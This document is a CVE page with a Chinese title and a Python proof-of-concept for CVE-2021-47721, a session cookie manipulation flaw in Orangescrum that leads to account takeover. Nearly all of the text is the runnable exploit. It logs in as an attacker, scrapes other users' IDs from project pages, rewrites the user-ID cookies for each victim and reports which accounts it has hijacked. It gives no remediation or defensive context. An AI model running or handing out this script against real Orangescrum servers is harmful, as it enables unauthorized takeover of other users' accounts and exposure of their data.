CVE-2021-47721 Orangescrum会话Cookie操纵导致账户劫持漏洞

# CVE-2021-47721 PoC - Orangescrum Session Hijacking # This PoC demonstrates the privilege escalation via session cookie manipulation import requests import re from bs4 import BeautifulSoup TARGET_URL = "http://target-orangescrum-server.com" ATTACKER_EMAIL = "[email protected]" ATTACKER_PASSWORD = "attacker_password" def login(username, password): """Login to Orangescrum and return session cookies""" session = requests.Session() login_url = f"{TARGET_URL}/users/login" data = { "data[User][email]": username, "data[User][password]": password } response = session.post(login_url, data=data) return session if "redirect" in response.url else None def extract_user_ids(session): """Extract user IDs from page source""" project_url = f"{TARGET_URL}/projects" response = session.get(project_url) soup = BeautifulSoup(response.text, 'html.parser') # Look for user IDs in data attributes, hidden inputs, or JavaScript user_ids = [] for element in soup.find_all(attrs={'data-user-id': True}): user_ids.append(element['data-user-id']) # Also check hidden input fields for hidden_input in soup.find_all('input', type='hidden'): if 'user_id' in hidden_input.get('name', '').lower(): user_ids.append(hidden_input.get('value')) return list(set(user_ids)) def hijack_session(original_session, target_user_id): """Hijack target user's session by replacing user ID in cookies""" hijacked_session = requests.Session() # Copy cookies from original session for cookie in original_session.cookies: hijacked_session.cookies.set( cookie.name, cookie.value, domain=cookie.domain, path=cookie.path ) # Find and modify the user ID cookie/session variable # Common session variable names in Orangescrum session_vars = ['user_id', 'Auth', 'CakeCookie[user_id]'] for var in session_vars: if var in hijacked_session.cookies: hijacked_session.cookies.set(var, str(target_user_id)) return hijacked_session def verify_hijack(session): """Verify if session hijacking was successful""" profile_url = f"{TARGET_URL}/users/profile" response = session.get(profile_url) return response.status_code == 200 and "My Profile" in response.text # Main execution attacker_session = login(ATTACKER_EMAIL, ATTACKER_PASSWORD) if attacker_session: victim_ids = extract_user_ids(attacker_session) print(f"Found {len(victim_ids)} potential victim IDs: {victim_ids}") for victim_id in victim_ids: hijacked_session = hijack_session(attacker_session, victim_id) if verify_hijack(hijacked_session): print(f"[!] Successfully hijacked user ID: {victim_id}") else: print(f"[*] Failed to hijack user ID: {victim_id}") else: print("[!] Login failed")